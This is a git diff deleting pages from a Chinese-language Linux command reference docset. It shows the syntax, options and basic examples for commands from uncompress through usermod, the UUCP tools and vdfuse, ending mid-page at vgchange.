uncompress命令 用来解压缩由compress命令压缩后产生的“.Z”压缩包。

-

语法

-
uncompress(选项)(参数)
-
-

选项

-
-f:不提示用户,强制覆盖掉目标文件;
--c:将结果送到标准输出,无文件被改变;
--r:递归的操作方式。
-
-

参数

-

文件:指定要压缩的“.Z”压缩包。

-

实例

-

先创建一个.Z压缩文件

-
compress FileName
-
-

解压:

-
uncompress FileName.Z
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/unexpand.html b/linux-command.docset/Contents/Resources/Documents/c/unexpand.html deleted file mode 100644 index 29676a4dff..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/unexpand.html +++ /dev/null @@ -1,83 +0,0 @@ - - - - - - - - - - - unexpand 命令,Linux unexpand 命令详解:将文件的空白字符转换为制表符 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

unexpand

-

将文件的空白字符转换为制表符

-

补充说明

-

unexpand命令 用于将给定文件中的空白字符(space)转换为制表符(TAB),并把转换结果显示在标准输出设备(显示终端)。

-

语法

-
unexpand(选项)(参数)
-
-

选项

-
-a或--all:转换文件中所有的空白字符;
---first-only:仅转换开头的空白字符;
--t<N>:指定TAB所代表的N个(N为整数)字符数,默认N值是8。
-
-

参数

-

文件:指定要转换空白为TAB的文件列表。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/uniq.html b/linux-command.docset/Contents/Resources/Documents/c/uniq.html deleted file mode 100644 index 439186eb4e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/uniq.html +++ /dev/null @@ -1,124 +0,0 @@ - - - - - - - - - - - uniq 命令,Linux uniq 命令详解:显示或忽略重复的行。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

uniq

-

显示或忽略重复的行。

-

概要

-
uniq [OPTION]... [INPUT [OUTPUT]]
-
-

主要用途

-
    -
  • 将输入文件(或标准输入)中邻近的重复行写入到输出文件(或标准输出)中。
  • -
  • 当没有选项时,邻近的重复行将合并为一个。
  • -
-

选项

-
-c, --count                在每行开头增加重复次数。
--d, --repeated             所有邻近的重复行只被打印一次。
--D                         所有邻近的重复行将全部打印。
---all-repeated[=METHOD]    类似于 -D,但允许每组之间以空行分割。METHOD取值范围{none(默认),prepend,separate}。
--f, --skip-fields=N        跳过对前N个列的比较。
---group[=METHOD]           显示所有行,允许每组之间以空行分割。METHOD取值范围:{separate(默认),prepend,append,both}。
--i, --ignore-case          忽略大小写的差异。
--s, --skip-chars=N         跳过对前N个字符的比较。
--u, --unique               只打印非邻近的重复行。
--z, --zero-terminated      设置行终止符为NUL(空),而不是换行符。
--w, --check-chars=N        只对每行前N个字符进行比较。
---help                     显示帮助信息并退出。
---version                  显示版本信息并退出。
-
-

参数

-

INPUT(可选):输入文件,不提供时为标准输入。

-

OUTPUT(可选):输出文件,不提供时为标准输出。

-

返回值

-

返回0表示成功,返回非0值表示失败。

-

例子

-

注意:命令2和命令3结果一样,命令1仅作了相邻行的去重。

-
uniq file.txt
-sort file.txt | uniq
-sort -u file.txt
-
-

只显示单一行,区别在于是否执行排序:

-
uniq -u file.txt
-sort file.txt | uniq -u
-
-

统计各行在文件中出现的次数:

-
sort file.txt | uniq -c
-
-

在文件中找出重复的行:

-
sort file.txt | uniq -d
-
-

注意

-
    -
  1. -

    uniq只检测邻近的行是否重复,sort -u将输入文件先排序然后再处理重复行。

    -
  2. -
  3. -

    该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 uniqinfo coreutils 'uniq invocation'

    -
  4. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/unlink.html b/linux-command.docset/Contents/Resources/Documents/c/unlink.html deleted file mode 100644 index b31de42d5f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/unlink.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - unlink 命令,Linux unlink 命令详解:系统调用函数unlink去删除指定的文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

unlink

-

系统调用函数unlink去删除指定的文件

-

补充说明

-

unlink命令 用于系统调用函数unlink去删除指定的文件。和rm命令作用一样,都是删除文件。

-

语法

-
unlink(选项)(参数)
-
-

选项

-
--help:显示帮助;
---version:显示版本号。
-
-

参数

-

文件:指定要删除的文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/unprotoize.html b/linux-command.docset/Contents/Resources/Documents/c/unprotoize.html deleted file mode 100644 index 024fb7682f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/unprotoize.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - unprotoize 命令,Linux unprotoize 命令详解:删除C语言源代码文件中的函数原型 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

unprotoize

-

删除C语言源代码文件中的函数原型

-

补充说明

-

unprotoize命令 属于gcc套件,用于删除C语言源代码文件中的函数原型。

-

语法

-
unprotoize(选项)(参数)
-
-

选项

-
-d:设置需要转换代码的目录;
--x:转换代码时排除的文件。
-
-

参数

-

文件:需要转换代码的C语言源文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/unrar.html b/linux-command.docset/Contents/Resources/Documents/c/unrar.html deleted file mode 100644 index 0fc21a64e1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/unrar.html +++ /dev/null @@ -1,115 +0,0 @@ - - - - - - - - - - - unrar 命令,Linux unrar 命令详解:解压rar文件命令,从rar档案中提取文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

unrar

-

解压rar文件命令,从rar档案中提取文件

-

语法

-
unrar [选项][switch 命令] [文件名...][路径]
-   unrar <command> [-<switch 1> -<switch N>] archive [files...] [path...]
-
-

选项

-
       - e  #将文件解压缩到当前目录。
-       -l    # 列出存档内容。
-       -p   #将文件打印到标准输出。
-       -t    #测试存档文件。
-       -v    #详细列出存档。
-       -x    #使用完整路径提取文件。
-
-

SWITCHES 开关设置

-
       注意:每个开关必须用空格分隔。你不能把它们放在一起。
-       -av-      #禁用真实性验证检查。
-	-c-         #禁用评论显示
-       -f            #刷新文件
-       -kb        #保留破碎的提取文件
-       -ierr      #将所有消息发送给stderr。
-       -inul     #禁用所有消息。
-       -o+        #覆盖现有文件。
-       -o-         #不要覆盖现有文件
-       -p<password>
-                     #设置密码。
-       -p-        #不查询密码
-       -r           #递归子目录。
-       -u          #更新文件。
-       -v           #列出所有卷。
-       -x<file>
-                     #排除指定的文件。
-       -x@<list>
-                     #排除指定列表文件中的文件。
-       -x@      #读取要从stdin中排除的文件名。
-       -y          #对所有查询都假设为是。
-
-

参数

-

目录:指定要显示列表的目录,也可以是具体的文件。

-

实例

-

将压缩文件text.rar在当前目录下解压缩,并解压完整路径。

-
unrar x test.rar
-
-

AUTHOR

-
       This  manual  page  was  written by Petr Cech <cech@debian.org> according to "unrar -h"for the Debian
-       GNU/Linux system (but may be used by others).
-
-
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/unset.html b/linux-command.docset/Contents/Resources/Documents/c/unset.html deleted file mode 100644 index 38217f66db..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/unset.html +++ /dev/null @@ -1,145 +0,0 @@ - - - - - - - - - - - unset 命令,Linux unset 命令详解:删除指定的shell变量或函数。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

unset

-

删除指定的shell变量或函数。

-

概要

-
unset [-f] [-v] [-n] [name ...]
-
-

主要用途

-
    -
  • 删除一到多个shell变量(不包括只读变量)。
  • -
  • 删除一到多个shell函数。
  • -
  • 删除一到多个具有引用属性的变量(如果-n选项存在)。
  • -
-

选项

-
-f:仅删除函数。
--v:仅删除变量(不包括只读变量)。
--n:删除具有引用属性的变量名(如果该选项存在)。
-
-

参数

-

name(可选):要删除的变量或函数。

-

返回值

-

返回成功除非选项错误或要删除的变量或函数有只读属性。

-

例子

-
# 删除变量。
-declare paper_size='B5'
-unset -v paper_size
-
-
# 删除函数。
-function show_result(){ echo 'Last Command Return: $?'; }
-unset -f show_result
-
-
# 当不指定选项时,优先删除变量,如果失败则删除函数。
-declare -i aa=100
-function aa(){ echo 'aa'; }
-unset aa
-# 变量'aa'已被删除。
-declare -p aa
-# 函数'aa'存在。
-declare -F|grep aa
-
-
# 演示unset使用-n选项,name指定了引用变量时的情况。
-declare a=3
-# 定义引用变量
-declare -n b=a
-# 查看属性,显示declare -n b="a"
-declare -p b
-# 显示3
-echo ${b}
-# 显示a
-echo ${!b}
-# 指定-n选项时
-unset -n b
-# 引用变量b已被删除
-declare -p b
-# 被引用的变量a未被删除
-declare -p a
-
-
# 演示unset不使用-n选项,name指定了引用变量时的情况。
-declare a=3
-# 定义引用变量
-declare -n b=a
-# 查看属性,显示declare -n b="a"
-declare -p b
-# 显示3
-echo ${b}
-# 显示a
-echo ${!b}
-# 不指定-n选项时
-unset b
-# 引用变量b未被删除,显示declare -n b="a"
-declare -p b
-# 被引用的变量a被删除
-declare -p a
-
-

注意

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/unzip.html b/linux-command.docset/Contents/Resources/Documents/c/unzip.html deleted file mode 100644 index 86a463dd93..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/unzip.html +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - unzip 命令,Linux unzip 命令详解:用于解压缩由zip命令压缩的压缩包 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

unzip

-

用于解压缩由zip命令压缩的压缩包

-

补充说明

-

unzip命令 用于解压缩由zip命令压缩的“.zip”压缩包。

-

语法

-
unzip(选项)(参数)
-
-

选项

-
-c:将解压缩的结果显示到屏幕上,并对字符做适当的转换;
--f:更新现有的文件;
--l:显示压缩文件内所包含的文件;
--p:与-c参数类似,会将解压缩的结果显示到屏幕上,但不会执行任何的转换;
--t:检查压缩文件是否正确;
--u:与-f参数类似,但是除了更新现有的文件外,也会将压缩文件中的其他文件解压缩到目录中;
--v:执行时显示详细的信息;
--z:仅显示压缩文件的备注文字;
--a:对文本文件进行必要的字符转换;
--b:不要对文本文件进行字符转换;
--C:压缩文件中的文件名称区分大小写;
--j:不处理压缩文件中原有的目录路径;
--L:将压缩文件中的全部文件名改为小写;
--M:将输出结果送到more程序处理;
--n:解压缩时不要覆盖原有的文件;
--o:不必先询问用户,unzip执行后覆盖原有的文件;
--P<密码>:使用zip的密码选项;
--q:执行时不显示任何信息;
--s:将文件名中的空白字符转换为底线字符;
--V:保留VMS的文件版本信息;
--X:解压缩时同时回存文件原来的UID/GID;
--d<目录>:指定文件解压缩后所要存储的目录;
--x<文件>:指定不要处理.zip压缩文件中的哪些文件;
--Z:unzip-Z等于执行zipinfo指令。
-
-

参数

-

压缩包:指定要解压的“.zip”压缩包。

-

实例

-

将压缩文件text.zip在当前目录下解压缩。

-
unzip test.zip
-
-

将压缩文件text.zip在指定目录/tmp下解压缩,如果已有相同的文件存在,要求unzip命令不覆盖原先的文件。

-
unzip -n test.zip -d /tmp
-
-

查看压缩文件目录,但不解压。

-
unzip -v test.zip
-
-

将压缩文件test.zip在指定目录/tmp下解压缩,如果已有相同的文件存在,要求unzip命令覆盖原先的文件。

-
unzip -o test.zip -d tmp/
-
-

解压指定文件,* 用作通配符。

-
unzip test.zip "*.jpg"
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/updatedb.html b/linux-command.docset/Contents/Resources/Documents/c/updatedb.html deleted file mode 100644 index bf70f612cd..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/updatedb.html +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - - - - - - updatedb 命令,Linux updatedb 命令详解:创建或更新slocate命令所必需的数据库文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

updatedb

-

创建或更新slocate命令所必需的数据库文件

-

补充说明

-

updatedb命令 用来创建或更新slocate命令所必需的数据库文件。updatedb命令的执行过程较长,因为在执行时它会遍历整个系统的目录树,并将所有的文件信息写入slocate数据库文件中。

-

补充说明:slocate本身具有一个数据库,里面存放了系统中文件与目录的相关信息。

-

语法

-
updatedb(选项)
-
-

选项

-
-o<文件>:忽略默认的数据库文件,使用指定的slocate数据库文件;
--U<目录>:更新指定目录的slocate数据库;
--v:显示执行的详细过程。
-
-

实例

-

实用updatedb命令的-U选项可以指定要更新slocate数据库的目录。

-
updatedb -U /usr/local/  更新指定命令的slocate数据库
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/uptime.html b/linux-command.docset/Contents/Resources/Documents/c/uptime.html deleted file mode 100644 index f1226fe612..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/uptime.html +++ /dev/null @@ -1,96 +0,0 @@ - - - - - - - - - - - uptime 命令,Linux uptime 命令详解:查看Linux系统负载信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

uptime

-

查看Linux系统负载信息

-

补充说明

-

uptime命令 能够打印系统总共运行了多长时间和系统的平均负载。uptime命令可以显示的信息显示依次为:现在时间、系统已经运行了多长时间、目前有多少登陆用户、系统在过去的1分钟、5分钟和15分钟内的平均负载。

-

语法

-
uptime(选项)
-
-

选项

-
-V:显示指令的版本信息。
-
-

实例

-

使用uptime命令查看系统负载:

-
[root@LinServ-1 ~]# uptime -V    #显示uptime命令版本信息
-procps version 3.2.7
-
-[root@LinServ-1 ~]# uptime
- 15:31:30 up 127 days,  3:00,  1 user,  load average: 0.00, 0.00, 0.00
-
-

显示内容说明:

-
15:31:30             # 系统当前时间
-up 127 days,  3:00   # 主机已运行时间,时间越大,说明你的机器越稳定。
-1 user               # 用户连接数,是总连接数而不是用户数
-load average: 0.00, 0.00, 0.00         #  系统平均负载,统计最近1,5,15分钟的系统平均负载
-
-

那么什么是系统平均负载呢? 系统平均负载是指在特定时间间隔内运行队列中的平均进程数。

-

如果每个CPU内核的当前活动进程数不大于3的话,那么系统的性能是良好的。如果每个CPU内核的任务数大于5,那么这台机器的性能有严重问题。

-

如果你的linux主机是1个双核CPU的话,当Load Average 为6的时候说明机器已经被充分使用了。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/useradd.html b/linux-command.docset/Contents/Resources/Documents/c/useradd.html deleted file mode 100644 index 41a6f11c1d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/useradd.html +++ /dev/null @@ -1,102 +0,0 @@ - - - - - - - - - - - useradd 命令,Linux useradd 命令详解:创建的新的系统用户 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

useradd

-

创建的新的系统用户

-

补充说明

-

useradd命令 用于Linux中创建的新的系统用户。useradd可用来建立用户帐号。帐号建好之后,再用passwd设定帐号的密码.而可用userdel删除帐号。使用useradd指令所建立的帐号,实际上是保存在/etc/passwd文本文件中。

-

在Slackware中,adduser指令是个script程序,利用交谈的方式取得输入的用户帐号资料,然后再交由真正建立帐号的useradd命令建立新用户,如此可方便管理员建立用户帐号。在Red Hat Linux中, adduser命令 则是useradd命令的符号连接,两者实际上是同一个指令。

-

语法

-
useradd(选项)(参数)
-
-

选项

-
-c<备注>:加上备注文字。备注文字会保存在passwd的备注栏位中;
--d<登入目录>:指定用户登入时的启始目录;
--D:变更预设值;
--e<有效期限>:指定帐号的有效期限;
--f<缓冲天数>:指定在密码过期后多少天即关闭该帐号;
--g<群组>:指定用户所属的群组;
--G<群组>:指定用户所属的附加群组;
--m:自动建立用户的登入目录;
--M:不要自动建立用户的登入目录;
--n:取消建立以用户名称为名的群组;
--r:建立系统帐号;
--s<shell>:指定用户登入后所使用的shell;
--u<uid>:指定用户id。
-
-

参数

-

用户名:要创建的用户名。

-

实例

-

新建用户加入组:

-
useradd –g sales jack –G company,employees    //-g:加入主要组、-G:加入次要组
-
-

建立一个新用户账户,并设置ID:

-
useradd caojh -u 544
-
-

需要说明的是,设定ID值时尽量要大于500,以免冲突。因为Linux安装后会建立一些特殊用户,一般0到499之间的值留给bin、mail这样的系统账号。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/userdel.html b/linux-command.docset/Contents/Resources/Documents/c/userdel.html deleted file mode 100644 index b02c350ef0..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/userdel.html +++ /dev/null @@ -1,89 +0,0 @@ - - - - - - - - - - - userdel 命令,Linux userdel 命令详解:用于删除给定的用户以及与用户相关的文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

userdel

-

用于删除给定的用户以及与用户相关的文件

-

补充说明

-

userdel命令 用于删除给定的用户,以及与用户相关的文件。若不加选项,则仅删除用户帐号,而不删除相关文件。

-

语法

-
userdel(选项)(参数)
-
-

选项

-
-f:强制删除用户,即使用户当前已登录;
--r:删除用户的同时,删除与用户相关的所有文件。
-
-

参数

-

用户名:要删除的用户名。

-

实例

-

userdel命令很简单,比如我们现在有个用户linuxde,其家目录位于/var目录中,现在我们来删除这个用户:

-
userdel linuxde       # 删除用户linuxde,但不删除其家目录及文件;
-userdel -r linuxde    # 删除用户linuxde,其家目录及文件一并删除;
-
-

请不要轻易用-r选项;他会删除用户的同时删除用户所有的文件和目录,切记如果用户目录下有重要的文件,在删除前请备份。

-

其实也有最简单的办法,但这种办法有点不安全,也就是直接在/etc/passwd中删除您想要删除用户的记录;但最好不要这样做,/etc/passwd是极为重要的文件,可能您一不小心会操作失误。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/usermod.html b/linux-command.docset/Contents/Resources/Documents/c/usermod.html deleted file mode 100644 index aeab333f4d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/usermod.html +++ /dev/null @@ -1,119 +0,0 @@ - - - - - - - - - - - usermod 命令,Linux usermod 命令详解:用于修改用户的基本信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

usermod

-

用于修改用户的基本信息

-

补充说明

-

usermod命令 用于修改用户的基本信息。usermod 命令不允许你改变正在线上的使用者帐号名称。当 usermod 命令用来改变user id,必须确认这名user没在电脑上执行任何程序。你需手动更改使用者的 crontab 档。也需手动更改使用者的 at 工作档。采用 NIS server 须在server上更动相关的NIS设定。

-

语法

-
usermod(选项)(参数)
-
-

选项

-
-c<备注>:修改用户帐号的备注文字;
--d<登入目录>:修改用户登入时的目录,只是修改/etc/passwd中用户的家目录配置信息,不会自动创建新的家目录,通常和-m一起使用;
--m<移动用户家目录>:移动用户家目录到新的位置,不能单独使用,一般与-d一起使用。
--e<有效期限>:修改帐号的有效期限;
--f<缓冲天数>:修改在密码过期后多少天即关闭该帐号;
--g<群组>:修改用户所属的群组;
--G<群组>;修改用户所属的附加群组;
--l<帐号名称>:修改用户帐号名称;
--L:锁定用户密码,使密码无效;
--s<shell>:修改用户登入后所使用的shell;
--u<uid>:修改用户ID;
--U:解除密码锁定。
-
-

参数

-

登录名:指定要修改信息的用户登录名。

-

实例

-

将 newuser2 添加到组 staff 中:

-
usermod -G staff newuser2
-
-

修改newuser的用户名为newuser1:

-
usermod -l newuser1 newuser
-
-

锁定账号newuser1:

-
usermod -L newuser1
-
-

解除对newuser1的锁定:

-
usermod -U newuser1
-
-

增加用户到用户组中:

-
apk add shadow # 安装 shadow 包, usermod 命令包含在 usermod 中
-usermod -aG group user # 添加用户到用户组中
-
-

-a 参数表示附加,只和 -G 参数一同使用,表示将用户增加到组中。

-

修改用户家目录:

-
[root@node-1 ~]# useradd lutixiaya
-[root@node-1 ~]# ls /home
-lutixiaya
-[root@node-1 ~]# usermod -md /data/new_home lutixiaya
-[root@node-1 ~]# ls /home/
-[root@node-1 ~]# ls /data/
-new_home
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/usernetctl.html b/linux-command.docset/Contents/Resources/Documents/c/usernetctl.html deleted file mode 100644 index cbb2f70776..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/usernetctl.html +++ /dev/null @@ -1,83 +0,0 @@ - - - - - - - - - - - usernetctl 命令,Linux usernetctl 命令详解:被允许时操作指定的网络接口 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

usernetctl

-

被允许时操作指定的网络接口

-

补充说明

-

usernetctl命令 在用于被允许时操作指定的网络接口。

-

语法

-
usernetctl(参数)
-
-

参数

-
    -
  • 网络接口:被操纵的网络接口;
  • -
  • up:激活网络接口;
  • -
  • down:禁用网络接口;
  • -
  • report:报告网络接口状态。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/users.html b/linux-command.docset/Contents/Resources/Documents/c/users.html deleted file mode 100644 index 59e8137495..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/users.html +++ /dev/null @@ -1,94 +0,0 @@ - - - - - - - - - - - users 命令,Linux users 命令详解:打印当前主机所有登陆用户的名称。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

users

-

打印当前主机所有登陆用户的名称。

-

概要

-
users [OPTION]... [FILE]
-
-

主要用途

-
    -
  • 每个显示的用户名对应一个登录会话;如果一个用户有不止一个登录会话,那他的用户名将显示相同的次数。
  • -
-

选项

-
--help       显示帮助信息并退出。
---version    显示版本信息并退出。
-
-

参数

-

FILE(可选):记录用户当前登录情况的文件;默认使用 /var/run/utmp/var/log/wtmp

-

返回值

-

返回0表示成功,返回非0值表示失败。

-

例子

-
[root@localhost ~]# users
-root root
-
-

注意

-
    -
  1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 usersinfo coreutils 'users invocation'
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/uucico.html b/linux-command.docset/Contents/Resources/Documents/c/uucico.html deleted file mode 100644 index b648a2800d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/uucico.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - - - - - - uucico 命令,Linux uucico 命令详解:UUCP文件传输服务程序 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

uucico

-

UUCP文件传输服务程序

-

补充说明

-

uucico命令 命令UUCP文件传输服务程序。 uucico是用来处理uucp或uux送到队列的文件传输工具。uucico有两种工作模式:主动模式和附属模式。当在主动模式下时,uucico会调用远端主机;在附属模式下时,uucico则接受远端主机的调用。

-

语法

-
uucico [-cCDefqvwz][-i<类型>][-I<文件>][-p<连接端口号码>][-][-rl][-s<主机>][-S<主机>][-u<用户>][-x<类型>][--help]
-
-

选项

-
-c或--quiet 当不执行任何工作时,不要更改记录文件的内容及更新目前的状态。
--C或--ifwork 当有工作要执行时,才调用-s或-S参数所指定主机。
--D或--nodetach 不要与控制终端机离线。
--e或--loop 在附属模式下执行,并且出现要求登入的提示画面。
--f或--force 当执行错误时,不等待任何时间即重新调用主机。
--i<类型>或--stdin<类型> 当使用到标准输入设备时,指定连接端口的类型。
--I<文件>--config<文件> 指定使用的配置文件。
--l或--prompt 出现要求登入的提示画面。
--p<连接端口号码>或-port<连接端口号码> 指定连接端口号码。
--q或--quiet 不要启动uuxqt服务程序。
--r0或--slave 以附属模式启动。
--s<主机>或--system<主机> 调用指定的主机。
--u<用户>或--login<用户> 指定登入的用户帐号,而不允许输入任意的登入帐号。
--v或--version 显示版本信息,并且结束程序。
--w或--wait 在主动模式下,当执行调用动作时,则出现要求登入的提示画面。
--x<类型>或-X<类型>或outgoing-debug<类型> 启动指定的排错模式。
--z或--try-next 当执行不成功时,尝试下一个选择而不结束程序。
---help 显示帮助,并且结束程序。
-
-

实例

-

使用主动模式启动uucico服务。在命令提示符下直接输入如下命令:

-
uucico-r1
-
-

提示:该命令一般没有输出。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/uupick.html b/linux-command.docset/Contents/Resources/Documents/c/uupick.html deleted file mode 100644 index 2df3e19098..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/uupick.html +++ /dev/null @@ -1,87 +0,0 @@ - - - - - - - - - - - uupick 命令,Linux uupick 命令详解:命令处理传送进来的文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

uupick

-

命令处理传送进来的文件

-

补充说明

-

uupick命令 处理传送进来的文件。 当其他主机通过UUCP将文件传送进来时,可利用uupick指令取出这些文件。

-

语法

-
uupick [-v][-I<配置文件>][-s<主机>][-x<层级>][--help]
-
-

选项

-
-I<配置文件>或--config<配置文件> 指定配置文件。
--s<主机>或--system<主机> 处理由指定主机传送过来的文件。
--v或--version 显示版本信息。
---help 显示帮助。
-
-

例子

-

处理由主机localhost传送过来的文件。在命令行直接输入如下命令:

-
uupick-s localhost
-
-

该命令通常没有输出。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/uuto.html b/linux-command.docset/Contents/Resources/Documents/c/uuto.html deleted file mode 100644 index 5c5be49f3a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/uuto.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - uuto 命令,Linux uuto 命令详解:将文件传送到远端的UUCP主机 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

uuto

-

将文件传送到远端的UUCP主机

-

补充说明

-

uuto命令 为script文件,它实际上会执行uucp,用来将文件传送到远端UUCP主机,并在完成工作后,以邮件通知远端主机上的用户。

-

语法

-
uuto [文件][目的]
-
-

例子

-

将文件传送到远程 UUCP 主机 localhost 的 tmp 目录,在命令提示符中直接输入如下命令:

-
uuto./testfile localhost/tmp # 将文件传送到远程UUCP 主机localhost的tmp目录 
-
-

该命令通常没有输出。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/vdfuse.html b/linux-command.docset/Contents/Resources/Documents/c/vdfuse.html deleted file mode 100644 index 21988a1b95..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/vdfuse.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - - - - - - vdfuse 命令,Linux vdfuse 命令详解:VirtualBox软件挂载VDI分区文件工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

vdfuse

-

VirtualBox软件挂载VDI分区文件工具

-

补充说明

-

vdfuse命令 是VirtualBox软件挂载VDI分区文件的一个工具,VirtualBox是一款能创建虚拟机的开源软件,vdi是它的默认磁盘格式。

-

什么是VirtualBox

-

VirtualBox是一款功能强大的x86虚拟机软件,它不仅具有丰富的特色,而且性能也很优异。更可喜的是,VirtualBox于数日前走向开源,成为了一个发布在GPL许可之下的自由软件。VirtualBox可以在Linux和Windows主机中运行,并支持在其中安装Windows (NT 4.0、2000、XP、Server 2003、Vista)、DOS/Windows 3.x、Linux (2.4 和 2.6)、OpenBSD等系列的客户操作系统。

-

在Ubuntu中安装vdfuse,打开终端,输入:

-
sudo apt-get install virtualbox-fuse
-
-

语法

-
vdfuse [options] -f image-file mountpoint
-
-

选项

-
-h 帮助
--r 只读
--t 类型 (VDI, VMDK, VHD, or raw; default: auto)
--f 镜像文件
--a 允许所有用户读取
--w 允许所有用户都写
--g 前台运行
--v 输出反馈
--d debug模式
-
-

注意:必须编辑一下/etc/fuse.confand,去掉 "user_allow_other" 前面的注释符号(#),否则不能正确运行。

-

实例

-

使用如下如下语句挂载.vdi文件:

-
sudo vdfuse -f /path/to/file.vdi /path/to/mountpoint
-
-

/path/to/mountpoint应该包含如下文件EntireDisk、Partition1等,如果只有一个文件,你可能需要这样挂载:

-
mount /path/to/mountpoint/Partition1 /path/to/someother/mountpoint
-
-

文件系统就挂载到/path/to/someother/mountpoint了。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/vgchange.html b/linux-command.docset/Contents/Resources/Documents/c/vgchange.html deleted file mode 100644 index f65c392757..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/vgchange.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - - - - - - vgchange 命令,Linux vgchange 命令详解:修改卷组属性 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

vgchange

-

修改卷组属性

-

补充说明

-

